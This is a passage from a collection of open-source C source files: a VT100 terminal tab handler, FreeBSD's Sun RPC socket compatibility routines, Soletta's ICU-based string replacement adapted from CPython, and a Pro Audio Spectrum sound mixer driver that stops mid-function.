furtile. case VT100_HT: { int spaces; if (this->cursor_x != 0) { spaces = ((this->cursor_x - 1) & 7) ^ 7; } else { // TODO: verify this on other VTs spaces = 9; } while (spaces--) vt100_write(this, ' '); break; } // Vertical Tab case VT100_VT: // TODO: implement break; // Form Feed case VT100_FF: // TODO: implement break; // Complex escape sequence! case VT100_ESC: this->state = VT100_ESCAPE; break; } break; } }
flerovii/renaOS
kernel/klib/vt100.c
C
bsd-3-clause
8,238
/* $NetBSD: rpc_soc.c,v 1.6 2000/07/06 03:10:35 christos Exp $ */ /* * Sun RPC is a product of Sun Microsystems, Inc. and is provided for * unrestricted use provided that this legend is included on all tape * media and as a part of the software program in whole or part. Users * may copy or modify Sun RPC without charge, but are not authorized * to license or distribute it to anyone else except as part of a product or * program developed by the user. * * SUN RPC IS PROVIDED AS IS WITH NO WARRANTIES OF ANY KIND INCLUDING THE * WARRANTIES OF DESIGN, MERCHANTIBILITY AND FITNESS FOR A PARTICULAR * PURPOSE, OR ARISING FROM A COURSE OF DEALING, USAGE OR TRADE PRACTICE. * * Sun RPC is provided with no support and without any obligation on the * part of Sun Microsystems, Inc. to assist in its use, correction, * modification or enhancement. * * SUN MICROSYSTEMS, INC. SHALL HAVE NO LIABILITY WITH RESPECT TO THE * INFRINGEMENT OF COPYRIGHTS, TRADE SECRETS OR ANY PATENTS BY SUN RPC * OR ANY PART THEREOF. * * In no event will Sun Microsystems, Inc. be liable for any lost revenue * or profits or other special, indirect and consequential damages, even if * Sun has been advised of the possibility of such damages. * * Sun Microsystems, Inc. * 2550 Garcia Avenue * Mountain View, California 94043 */ /* #ident "@(#)rpc_soc.c 1.17 94/04/24 SMI" */ /* * Copyright (c) 1986-1991 by Sun Microsystems Inc. * In addition, portions of such source code were derived from Berkeley * 4.3 BSD under license from the Regents of the University of * California. */ #if defined(LIBC_SCCS) && !defined(lint) static char sccsid[] = "@(#)rpc_soc.c 1.41 89/05/02 Copyr 1988 Sun Micro"; #endif #include <sys/cdefs.h> __FBSDID("$FreeBSD$"); #ifdef PORTMAP /* * rpc_soc.c * * The backward compatibility routines for the earlier implementation * of RPC, where the only transports supported were tcp/ip and udp/ip. * Based on berkeley socket abstraction, now implemented on the top * of TLI/Streams */ #include "namespace.h" #include "reentrant.h" #include <sys/types.h> #include <sys/socket.h> #include <stdio.h> #include <rpc/rpc.h> #include <rpc/pmap_clnt.h> #include <rpc/pmap_prot.h> #include <rpc/nettype.h> #include <syslog.h> #include <netinet/in.h> #include <netdb.h> #include <errno.h> #include <syslog.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include "un-namespace.h" #include "rpc_com.h" #include "mt_misc.h" static CLIENT *clnt_com_create(struct sockaddr_in *, rpcprog_t, rpcvers_t, int *, u_int, u_int, char *); static SVCXPRT *svc_com_create(int, u_int, u_int, char *); static bool_t rpc_wrap_bcast(char *, struct netbuf *, struct netconfig *); /* XXX */ #define IN4_LOCALHOST_STRING "127.0.0.1" #define IN6_LOCALHOST_STRING "::1" /* * A common clnt create routine */ static CLIENT * clnt_com_create(raddr, prog, vers, sockp, sendsz, recvsz, tp) struct sockaddr_in *raddr; rpcprog_t prog; rpcvers_t vers; int *sockp; u_int sendsz; u_int recvsz; char *tp; { CLIENT *cl; int madefd = FALSE; int fd = *sockp; struct netconfig *nconf; struct netbuf bindaddr; mutex_lock(&rpcsoc_lock); if ((nconf = __rpc_getconfip(tp)) == NULL) { rpc_createerr.cf_stat = RPC_UNKNOWNPROTO; mutex_unlock(&rpcsoc_lock); return (NULL); } if (fd == RPC_ANYSOCK) { fd = __rpc_nconf2fd(nconf); if (fd == -1) goto syserror; madefd = TRUE; } if (raddr->sin_port == 0) { u_int proto; u_short sport; mutex_unlock(&rpcsoc_lock); /* pmap_getport is recursive */ proto = strcmp(tp, "udp") == 0 ? IPPROTO_UDP : IPPROTO_TCP; sport = pmap_getport(raddr, (u_long)prog, (u_long)vers, proto); if (sport == 0) { goto err; } raddr->sin_port = htons(sport); mutex_lock(&rpcsoc_lock); /* pmap_getport is recursive */ } /* Transform sockaddr_in to netbuf */ bindaddr.maxlen = bindaddr.len = sizeof (struct sockaddr_in); bindaddr.buf = raddr; bindresvport(fd, NULL); cl = clnt_tli_create(fd, nconf, &bindaddr, prog, vers, sendsz, recvsz); if (cl) { if (madefd == TRUE) { /* * The fd should be closed while destroying the handle. */ (void) CLNT_CONTROL(cl, CLSET_FD_CLOSE, NULL); *sockp = fd; } (void) freenetconfigent(nconf); mutex_unlock(&rpcsoc_lock); return (cl); } goto err; syserror: rpc_createerr.cf_stat = RPC_SYSTEMERROR; rpc_createerr.cf_error.re_errno = errno; err: if (madefd == TRUE) (void)_close(fd); (void) freenetconfigent(nconf); mutex_unlock(&rpcsoc_lock); return (NULL); } CLIENT * clntudp_bufcreate(raddr, prog, vers, wait, sockp, sendsz, recvsz) struct sockaddr_in *raddr; u_long prog; u_long vers; struct timeval wait; int *sockp; u_int sendsz; u_int recvsz; { CLIENT *cl; cl = clnt_com_create(raddr, (rpcprog_t)prog, (rpcvers_t)vers, sockp, sendsz, recvsz, "udp"); if (cl == NULL) { return (NULL); } (void) CLNT_CONTROL(cl, CLSET_RETRY_TIMEOUT, &wait); return (cl); } CLIENT * clntudp_create(raddr, program, version, wait, sockp) struct sockaddr_in *raddr; u_long program; u_long version; struct timeval wait; int *sockp; { return clntudp_bufcreate(raddr, program, version, wait, sockp, UDPMSGSIZE, UDPMSGSIZE); } CLIENT * clnttcp_create(raddr, prog, vers, sockp, sendsz, recvsz) struct sockaddr_in *raddr; u_long prog; u_long vers; int *sockp; u_int sendsz; u_int recvsz; { return clnt_com_create(raddr, (rpcprog_t)prog, (rpcvers_t)vers, sockp, sendsz, recvsz, "tcp"); } CLIENT * clntraw_create(prog, vers) u_long prog; u_long vers; { return clnt_raw_create((rpcprog_t)prog, (rpcvers_t)vers); } /* * A common server create routine */ static SVCXPRT * svc_com_create(fd, sendsize, recvsize, netid) int fd; u_int sendsize; u_int recvsize; char *netid; { struct netconfig *nconf; SVCXPRT *svc; int madefd = FALSE; int port; struct sockaddr_in sin; if ((nconf = __rpc_getconfip(netid)) == NULL) { (void) syslog(LOG_ERR, "Could not get %s transport", netid); return (NULL); } if (fd == RPC_ANYSOCK) { fd = __rpc_nconf2fd(nconf); if (fd == -1) { (void) freenetconfigent(nconf); (void) syslog(LOG_ERR, "svc%s_create: could not open connection", netid); return (NULL); } madefd = TRUE; } memset(&sin, 0, sizeof sin); sin.sin_family = AF_INET; bindresvport(fd, &sin); _listen(fd, SOMAXCONN); svc = svc_tli_create(fd, nconf, NULL, sendsize, recvsize); (void) freenetconfigent(nconf); if (svc == NULL) { if (madefd) (void)_close(fd); return (NULL); } port = (((struct sockaddr_in *)svc->xp_ltaddr.buf)->sin_port); svc->xp_port = ntohs(port); return (svc); } SVCXPRT * svctcp_create(fd, sendsize, recvsize) int fd; u_int sendsize; u_int recvsize; { return svc_com_create(fd, sendsize, recvsize, "tcp"); } SVCXPRT * svcudp_bufcreate(fd, sendsz, recvsz) int fd; u_int sendsz, recvsz; { return svc_com_create(fd, sendsz, recvsz, "udp"); } SVCXPRT * svcfd_create(fd, sendsize, recvsize) int fd; u_int sendsize; u_int recvsize; { return svc_fd_create(fd, sendsize, recvsize); } SVCXPRT * svcudp_create(fd) int fd; { return svc_com_create(fd, UDPMSGSIZE, UDPMSGSIZE, "udp"); } SVCXPRT * svcraw_create() { return svc_raw_create(); } int get_myaddress(addr) struct sockaddr_in *addr; { memset((void *) addr, 0, sizeof(*addr)); addr->sin_family = AF_INET; addr->sin_port = htons(PMAPPORT); addr->sin_addr.s_addr = htonl(INADDR_LOOPBACK); return (0); } /* * For connectionless "udp" transport. Obsoleted by rpc_call(). */ int callrpc(host, prognum, versnum, procnum, inproc, in, outproc, out) const char *host; int prognum, versnum, procnum; xdrproc_t inproc, outproc; void *in, *out; { return (int)rpc_call(host, (rpcprog_t)prognum, (rpcvers_t)versnum, (rpcproc_t)procnum, inproc, in, outproc, out, "udp"); } /* * For connectionless kind of transport. Obsoleted by rpc_reg() */ int registerrpc(prognum, versnum, procnum, progname, inproc, outproc) int prognum, versnum, procnum; char *(*progname)(char [UDPMSGSIZE]); xdrproc_t inproc, outproc; { return rpc_reg((rpcprog_t)prognum, (rpcvers_t)versnum, (rpcproc_t)procnum, progname, inproc, outproc, "udp"); } /* * All the following clnt_broadcast stuff is convulated; it supports * the earlier calling style of the callback function */ static thread_key_t clnt_broadcast_key; static resultproc_t clnt_broadcast_result_main; static once_t clnt_broadcast_once = ONCE_INITIALIZER; static void clnt_broadcast_key_init(void) { thr_keycreate(&clnt_broadcast_key, free); } /* * Need to translate the netbuf address into sockaddr_in address. * Dont care about netid here. */ /* ARGSUSED */ static bool_t rpc_wrap_bcast(resultp, addr, nconf) char *resultp; /* results of the call */ struct netbuf *addr; /* address of the guy who responded */ struct netconfig *nconf; /* Netconf of the transport */ { resultproc_t clnt_broadcast_result; if (strcmp(nconf->nc_netid, "udp")) return (FALSE); if (thr_main()) clnt_broadcast_result = clnt_broadcast_result_main; else clnt_broadcast_result = (resultproc_t)thr_getspecific(clnt_broadcast_key); return (*clnt_broadcast_result)(resultp, (struct sockaddr_in *)addr->buf); } /* * Broadcasts on UDP transport. Obsoleted by rpc_broadcast(). */ enum clnt_stat clnt_broadcast(prog, vers, proc, xargs, argsp, xresults, resultsp, eachresult) u_long prog; /* program number */ u_long vers; /* version number */ u_long proc; /* procedure number */ xdrproc_t xargs; /* xdr routine for args */ void *argsp; /* pointer to args */ xdrproc_t xresults; /* xdr routine for results */ void *resultsp; /* pointer to results */ resultproc_t eachresult; /* call with each result obtained */ { if (thr_main()) clnt_broadcast_result_main = eachresult; else { thr_once(&clnt_broadcast_once, clnt_broadcast_key_init); thr_setspecific(clnt_broadcast_key, (void *) eachresult); } return rpc_broadcast((rpcprog_t)prog, (rpcvers_t)vers, (rpcproc_t)proc, xargs, argsp, xresults, resultsp, (resultproc_t) rpc_wrap_bcast, "udp"); } /* * Create the client des authentication object. Obsoleted by * authdes_seccreate(). */ AUTH * authdes_create(servername, window, syncaddr, ckey) char *servername; /* network name of server */ u_int window; /* time to live */ struct sockaddr *syncaddr; /* optional hostaddr to sync with */ des_block *ckey; /* optional conversation key to use */ { AUTH *dummy; AUTH *nauth; char hostname[NI_MAXHOST]; if (syncaddr) { /* * Change addr to hostname, because that is the way * new interface takes it. */ if (getnameinfo(syncaddr, syncaddr->sa_len, hostname, sizeof hostname, NULL, 0, 0) != 0) goto fallback; nauth = authdes_seccreate(servername, window, hostname, ckey); return (nauth); } fallback: dummy = authdes_seccreate(servername, window, NULL, ckey); return (dummy); } /* * Create a client handle for a unix connection. Obsoleted by clnt_vc_create() */ CLIENT * clntunix_create(raddr, prog, vers, sockp, sendsz, recvsz) struct sockaddr_un *raddr; u_long prog; u_long vers; int *sockp; u_int sendsz; u_int recvsz; { struct netbuf *svcaddr; struct netconfig *nconf; CLIENT *cl; int len; cl = NULL; nconf = NULL; svcaddr = NULL; if ((raddr->sun_len == 0) || ((svcaddr = malloc(sizeof(struct netbuf))) == NULL ) || ((svcaddr->buf = malloc(sizeof(struct sockaddr_un))) == NULL)) { if (svcaddr != NULL) free(svcaddr); rpc_createerr.cf_stat = RPC_SYSTEMERROR; rpc_createerr.cf_error.re_errno = errno; return(cl); } if (*sockp < 0) { *sockp = _socket(AF_LOCAL, SOCK_STREAM, 0); len = raddr->sun_len = SUN_LEN(raddr); if ((*sockp < 0) || (_connect(*sockp, (struct sockaddr *)raddr, len) < 0)) { rpc_createerr.cf_stat = RPC_SYSTEMERROR; rpc_createerr.cf_error.re_errno = errno; if (*sockp != -1) (void)_close(*sockp); goto done; } } svcaddr->buf = raddr; svcaddr->len = raddr->sun_len; svcaddr->maxlen = sizeof (struct sockaddr_un); cl = clnt_vc_create(*sockp, svcaddr, prog, vers, sendsz, recvsz); done: free(svcaddr->buf); free(svcaddr); return(cl); } /* * Creates, registers, and returns a (rpc) unix based transporter. * Obsoleted by svc_vc_create(). */ SVCXPRT * svcunix_create(sock, sendsize, recvsize, path) int sock; u_int sendsize; u_int recvsize; char *path; { struct netconfig *nconf; void *localhandle; struct sockaddr_un sun; struct sockaddr *sa; struct t_bind taddr; SVCXPRT *xprt; int addrlen; xprt = (SVCXPRT *)NULL; localhandle = setnetconfig(); while ((nconf = getnetconfig(localhandle)) != NULL) { if (nconf->nc_protofmly != NULL && strcmp(nconf->nc_protofmly, NC_LOOPBACK) == 0) break; } if (nconf == NULL) return(xprt); if ((sock = __rpc_nconf2fd(nconf)) < 0) goto done; memset(&sun, 0, sizeof sun); sun.sun_family = AF_LOCAL; if (strlcpy(sun.sun_path, path, sizeof(sun.sun_path)) >= sizeof(sun.sun_path)) goto done; sun.sun_len = SUN_LEN(&sun); addrlen = sizeof (struct sockaddr_un); sa = (struct sockaddr *)&sun; if (_bind(sock, sa, addrlen) < 0) goto done; taddr.addr.len = taddr.addr.maxlen = addrlen; taddr.addr.buf = malloc(addrlen); if (taddr.addr.buf == NULL) goto done; memcpy(taddr.addr.buf, sa, addrlen); if (nconf->nc_semantics != NC_TPI_CLTS) { if (_listen(sock, SOMAXCONN) < 0) { free(taddr.addr.buf); goto done; } } xprt = (SVCXPRT *)svc_tli_create(sock, nconf, &taddr, sendsize, recvsize); done: endnetconfig(localhandle); return(xprt); } /* * Like svunix_create(), except the routine takes any *open* UNIX file * descriptor as its first input. Obsoleted by svc_fd_create(); */ SVCXPRT * svcunixfd_create(fd, sendsize, recvsize) int fd; u_int sendsize; u_int recvsize; { return (svc_fd_create(fd, sendsize, recvsize)); } #endif /* PORTMAP */
jhbsz/OSI-OS
Operating-System/Libraries/libc/rpc/rpc_soc.c
C
bsd-3-clause
13,887
/* * This file is part of the Soletta Project * * Copyright (C) 2015 Intel Corporation. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * * Neither the name of Intel Corporation nor the names of its * contributors may be used to endorse or promote products derived * from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* Copyright (c) 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, * 2010, 2011, 2012, 2013, 2014, 2015 Python Software Foundation; All * Rights Reserved. This file has code excerpts (string module) * extracted from cpython project (https://hg.python.org/cpython/), * that comes under the PSFL license. The string formatting code was * adapted here to Soletta data types. The entire text for that * license is present in this directory */ #include <ctype.h> #include <errno.h> #include <limits.h> #include <stdbool.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <unicode/ustring.h> #include <unicode/utypes.h> #include <unicode/uchar.h> #include "string.h" #define FAST_COUNT 0 #define FAST_SEARCH 1 #define STRINGLIB_BLOOM_WIDTH sizeof(UChar) #define STRINGLIB_BLOOM_ADD(mask, ch) \ ((mask |= (1UL << ((ch) & (STRINGLIB_BLOOM_WIDTH - 1))))) #define STRINGLIB_BLOOM(mask, ch) \ ((mask & (1UL << ((ch) & (STRINGLIB_BLOOM_WIDTH - 1))))) static inline ssize_t fast_search(const UChar *str, size_t str_len, const UChar *pattern, size_t pattern_len, size_t max_count, int mode) { const UChar *str_ptr; const UChar *pattern_ptr; unsigned long mask; size_t i, j, mlast; size_t skip, count = 0; ssize_t w; w = str_len - pattern_len; if (w < 0 || (mode == FAST_COUNT && max_count == 0)) return -1; /* look for special cases */ if (pattern_len <= 1) { if (pattern_len <= 0) return -1; /* use special case for 1-character strings */ if (str_len > 10 && (mode == FAST_SEARCH)) { /* use memchr if we can choose a needle without too many likely false positives */ UChar *ptr = u_memchr(str, pattern[0], str_len); if (!ptr) return -1; return ptr - str; } if (mode == FAST_COUNT) { for (i = 0; i < str_len; i++) if (str[i] == pattern[0]) { count++; if (count == max_count) return max_count; } return count; } else { /* (mode == FAST_SEARCH) */ for (i = 0; i < str_len; i++) if (str[i] == pattern[0]) return i; } return -1; } mlast = pattern_len - 1; skip = mlast - 1; mask = 0; str_ptr = str + pattern_len - 1; pattern_ptr = pattern + pattern_len - 1; /* create compressed boyer-moore delta 1 table */ /* process pattern[:-1] */ for (i = 0; i < mlast; i++) { STRINGLIB_BLOOM_ADD(mask, pattern[i]); if (pattern[i] == pattern[mlast]) skip = mlast - i - 1; } /* process pattern[-1] outside the loop */ STRINGLIB_BLOOM_ADD(mask, pattern[mlast]); for (i = 0; i <= (size_t)w; i++) { /* note: using mlast in the skip path slows things down on x86 */ if (str_ptr[i] == pattern_ptr[0]) { /* candidate match */ for (j = 0; j < mlast; j++) if (str[i + j] != pattern[j]) break; if (j == mlast) { /* got a match! */ if (mode != FAST_COUNT) return i; count++; if (count == max_count) return max_count; i = i + mlast; continue; } /* miss: check if next character is part of pattern */ if (!STRINGLIB_BLOOM(mask, str_ptr[i + 1])) i = i + pattern_len; else i = i + skip; } else { /* skip: check if next character is part of pattern */ if (!STRINGLIB_BLOOM(mask, str_ptr[i + 1])) i = i + pattern_len; } } if (mode != FAST_COUNT) return -1; return count; } static inline ssize_t sub_str_count(const UChar *str, size_t str_len, const UChar *sub, size_t sub_len, size_t max_count) { ssize_t count; if (sub_len == 0) return (str_len < max_count) ? str_len + 1 : max_count; count = fast_search(str, str_len, sub, sub_len, max_count, FAST_COUNT); if (count < 0) return 0; /* no match */ return count; } static inline ssize_t sub_str_find(const UChar *str, ssize_t str_len, const UChar *sub, ssize_t sub_len, ssize_t offset) { ssize_t pos; if (sub_len == 0) return offset; pos = fast_search(str, str_len, sub, sub_len, -1, FAST_SEARCH); if (pos >= 0) pos += offset; return pos; } #define ICU_STR_FROM_UTF8_GOTO(_icu_str, _icu_sz, _icu_err_val, \ _utf_str, _icu_size_calc_goto, _no_mem_goto, _icu_conv_goto) \ do { \ _icu_err_val = U_ZERO_ERROR; \ u_strFromUTF8(NULL, 0, &_icu_sz, _utf_str, -1, &_icu_err_val); \ if (U_FAILURE(_icu_err_val) && \ _icu_err_val != U_BUFFER_OVERFLOW_ERROR) \ goto _icu_size_calc_goto; \ _icu_str = calloc(_icu_sz + 1, sizeof(*_icu_str)); \ if (!_icu_str) \ goto _no_mem_goto; \ _icu_err_val = U_ZERO_ERROR; \ u_strFromUTF8(_icu_str, _icu_sz + 1, &_icu_sz, _utf_str, \ -1, &_icu_err_val); \ if (U_FAILURE(_icu_err_val)) { \ goto _icu_conv_goto; \ } \ } while (0) static UChar * u_strdup(UChar *in) { uint32_t len = u_strlen(in) + 1; UChar *result = malloc(sizeof(UChar) * len); SOL_NULL_CHECK(result, NULL); u_memcpy(result, in, len); return result; } static inline void replace_1_char_in_place(UChar *s, UChar *end, UChar u1, UChar u2, ssize_t max_count) { *s = u2; while (--max_count && ++s != end) { /* Find the next character to be replaced. If it occurs often, * it is faster to scan for it using an inline loop. If it * occurs seldom, it is faster to scan for it using a function * call; the overhead of the function call is amortized across * the many characters that call covers. We start with an * inline loop and use a heuristic to determine whether to * fall back to a function call. */ if (*s != u1) { int attempts = 10; while (true) { if (++s == end) return; if (*s == u1) break; if (!--attempts) { s++; s = u_memchr(s, u1, end - s); if (s == NULL) return; /* restart the dummy loop */ break; } } } *s = u2; } } UChar * string_replace(struct sol_flow_node *node, UChar *value, UChar *change_from, UChar *change_to, size_t max_count) { UChar *ret; size_t value_len = u_strlen(value); size_t change_to_len = u_strlen(change_to); size_t change_from_len = u_strlen(change_from); if (max_count == 0) { ret = u_strdup(value); goto nothing; } if (u_strcmp(change_from, change_to) == 0) { ret = u_strdup(value); goto nothing; } if (change_from_len == change_to_len) { /* same length */ if (change_from_len == 0) { ret = u_strdup(value); goto nothing; } if (change_from_len == 1) { /* replace characters */ ret = u_strdup(value); replace_1_char_in_place(ret, ret + value_len, change_from[0], change_to[0], max_count); } else { UChar *token; ssize_t i; ret = u_strdup(value); token = u_strFindFirst(value, value_len, change_from, change_from_len); if (!token) goto nothing; i = token - value; u_memcpy(ret, value, value_len); /* change everything in-place, starting with this one */ u_memcpy(ret + i, change_to, change_to_len); i += change_from_len; while (--max_count > 0) { token = u_strFindFirst(value + i, value_len - i, change_from, change_from_len); if (!token) break; u_memcpy(ret + i, change_to, change_to_len); i += change_from_len; } } } else { ssize_t count, i, j, ires, new_size; int r; count = sub_str_count(value, value_len, change_from, change_from_len, max_count); if (count == 0) { ret = u_strdup(value); goto nothing; } if (change_from_len < change_to_len && change_to_len - change_from_len > (INT32_MAX - value_len) / count) { sol_flow_send_error_packet(node, -EINVAL, "replace string is too long"); goto error; } r = sol_util_ssize_mul(count, (ssize_t)(change_to_len - change_from_len), &new_size); if (r < 0 || (new_size > 0 && SSIZE_MAX - new_size < (ssize_t)value_len)) { sol_flow_send_error_packet(node, -EINVAL, "replace string is too long"); goto error; } new_size += value_len; if (new_size == 0) { UErrorCode err; r = icu_str_from_utf8("", &ret, &err); SOL_INT_CHECK_GOTO(r, < 0, error); goto done; } ret = calloc(new_size + 1, sizeof(*ret)); if (!ret) goto error; ires = i = 0; if (change_from_len > 0) { while (count-- > 0) { UChar *token; /* look for next match */ token = u_strFindFirst(value + i, value_len - i, change_from, change_from_len); if (!token) { free(ret); ret = u_strdup(value); goto nothing; } j = sub_str_find(value + i, value_len - i, change_from, change_from_len, i); if (j == -1) break; else if (j > i) { /* copy unchanged part [i:j] */ u_memcpy(ret + ires, value + i, (j - i)); ires += j - i; } /* copy substitution string */ if (change_to_len > 0) { u_memcpy(ret + ires, change_to, change_to_len); ires += change_to_len; } i = j + change_from_len; } if (i < (ssize_t)value_len) /* copy tail [i:] */ u_memcpy(ret + ires, value + i, (value_len - i)); } else { /* interleave */ while (count > 0) { u_memcpy(ret + ires, change_to, change_to_len); ires += change_to_len; if (--count <= 0) break; u_memcpy(ret + ires, value + i, 1); ires++; i++; } u_memcpy(ret + ires, value + i, (value_len - i)); } } done: nothing: return ret; error: return NULL; }
ricardotk/soletta
src/modules/flow/string/string-replace-icu.c
C
bsd-3-clause
13,088
/* * sound/pas2_mixer.c * * Mixer routines for the Pro Audio Spectrum cards. * * Copyright by Hannu Savolainen 1993 * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. 2. * Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE FOR * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #define _PAS2_MIXER_C_ #include <i386/isa/sound/sound_config.h> #if defined(CONFIG_PAS) #include <i386/isa/sound/pas_hw.h> #define TRACE(what) /* (what) */ extern int translat_code; extern char pas_model; extern sound_os_info *pas_osp; static int rec_devices = (SOUND_MASK_MIC); /* Default recording source */ static int mode_control = 0; #define POSSIBLE_RECORDING_DEVICES (SOUND_MASK_SYNTH | SOUND_MASK_SPEAKER | SOUND_MASK_LINE | SOUND_MASK_MIC | \ SOUND_MASK_CD | SOUND_MASK_ALTPCM) #define SUPPORTED_MIXER_DEVICES (SOUND_MASK_SYNTH | SOUND_MASK_PCM | SOUND_MASK_SPEAKER | SOUND_MASK_LINE | SOUND_MASK_MIC | \ SOUND_MASK_CD | SOUND_MASK_ALTPCM | SOUND_MASK_IMIX | \ SOUND_MASK_VOLUME | SOUND_MASK_BASS | SOUND_MASK_TREBLE | SOUND_MASK_RECLEV | \ SOUND_MASK_MUTE | SOUND_MASK_ENHANCE | SOUND_MASK_LOUD) static u_short levels[SOUND_MIXER_NRDEVICES] = { 0x3232, /* Master Volume */ 0x3232, /* Bass */ 0x3232, /* Treble */ 0x5050, /* FM */ 0x4b4b, /* PCM */ 0x3232, /* PC Speaker */ 0x4b4b, /* Ext Line */ 0x4b4b, /* Mic */ 0x4b4b, /* CD */ 0x6464, /* Recording monitor */ 0x4b4b, /* SB PCM */ 0x6464 /* Recording level */ }; void mix_write(u_char data, int ioaddr) { /* * The Revision D cards have a problem with their MVA508 interface. * The kludge-o-rama fix is to make a 16-bit quantity with identical * LSB and MSBs out of the output byte and to do a 16-bit out to the * mixer port - 1. We need to do this because it isn't timing problem * but chip access sequence problem. */ if (pas_model == PAS_16D) { outw((ioaddr ^ translat_code) - 1, data | (data << 8)); outb(0, 0x80); } else pas_write(data, ioaddr); } static int mixer_output(int right_vol, int left_vol, int div, int bits, int mixer) { /* Input or output mixer */ int left = left_vol * div / 100; int right = right_vol * div / 100; if (bits & P_M_MV508_MIXER) { /* Select input or output mixer */ left |= mixer; right |= mixer; } if (bits == P_M_MV508_BASS || bits == P_M_MV508_TREBLE) { /* Bass and treble are * mono devices */ mix_write(P_M_MV508_ADDRESS | bits, PARALLEL_MIXER); mix_write(left, PARALLEL_MIXER); right_vol = left_vol; } else { mix_write(P_M_MV508_ADDRESS | P_M_MV508_LEFT | bits, PARALLEL_MIXER); mix_write(left, PARALLEL_MIXER); mix_write(P_M_MV508_ADDRESS | P_M_MV508_RIGHT | bits, PARALLEL_MIXER); mix_write(right, PARALLEL_MIXER); } return (left_vol | (right_vol << 8)); } static void set_mode(int new_mode) { mix_write(P_M_MV508_ADDRESS | P_M_MV508_MODE, PARALLEL_MIXER); mix_write(new_mode, PARALLEL_MIXER); mode_control = new_mode; } static int pas_mixer_set(int whichDev, u_int level) { int left, right, devmask, changed, i, mixer = 0; TRACE(printf("static int pas_mixer_set(int whichDev = %d, u_int level = %X)\n", whichDev, level)); left = level & 0x7f; right = (level & 0x7f00) >> 8; if (whichDev < SOUND_MIXER_NRDEVICES) if ((1 << whichDev) & rec_devices) mixer = P_M_MV508_INPUTMIX; else mixer = P_M_MV508_OUTPUTMIX; switch (whichDev) { case SOUND_MIXER_VOLUME: /* Master volume (0-63) */ levels[whichDev] = mixer_output(right, left, 63, P_M_MV508_MASTER_A, 0); break; /* * Note! Bass and Treble are mono devices. Will use just the * left channel. */ case SOUND_MIXER_BASS: /* Bass (0-12) */ levels[whichDev] = mixer_output(right, left, 12, P_M_MV508_BASS, 0); break; case SOUND_MIXER_TREBLE: /* Treble (0-12) */ levels[whichDev] = mixer_output(right, left, 12, P_M_MV508_TREBLE, 0); break; case SOUND_MIXER_SYNTH:/* Internal synthesizer (0-31) */ levels[whichDev] = mixer_output(right, left, 31, P_M_MV508_MIXER | P_M_MV508_FM, mixer); break; case SOUND_MIXER_PCM: /* PAS PCM (0-31) */ levels[whichDev] = mixer_output(right, left, 31, P_M_MV508_MIXER | P_M_MV508_PCM, mixer); break; case SOUND_MIXER_ALTPCM: /* SB PCM (0-31) */ levels[whichDev] = mixer_output(right, left, 31, P_M_MV508_MIXER | P_M_MV508_SB, mixer); break; case SOUND_MIXER_SPEAKER: /* PC speaker (0-31) */ levels[whichDev] = mixer_output(right, left, 31, P_M_MV508_MIXER | P_M_MV508_SPEAKER, mixer); break; case SOUND_MIXER_LINE: /* External line (0-31) */ levels[whichDev] = mixer_output(right, left, 31, P_M_MV508_MIXER | P_M_MV508_LINE, mixer); break; case SOUND_MIXER_CD: /* CD (0-31) */ levels[whichDev] = mixer_output(right, left, 31, P_M_MV508_MIXER | P_M_MV508_CDROM, mixer); break; case SOUND_MIXER_MIC: /* External microphone (0-31) */ levels[whichDev] = mixer_output(right, left, 31, P_M_MV508_MIXER | P_M_MV508_MIC, mixer); break; case SOUND_MIXER_IMIX: /* Recording monitor (0-31) (Output mixer * only) */ levels[whichDev] = mixer_output(right, left, 31, P_M_MV508_MIXER | P_M_MV508_IMIXER, P_M_MV508_OUTPUTMIX); break; case SOUND_MIXER_RECLEV: /* Recording level (0-15) */ levels[whichDev] = mixer_output(right, left, 15, P_M_MV508_MASTER_B, 0); break; case 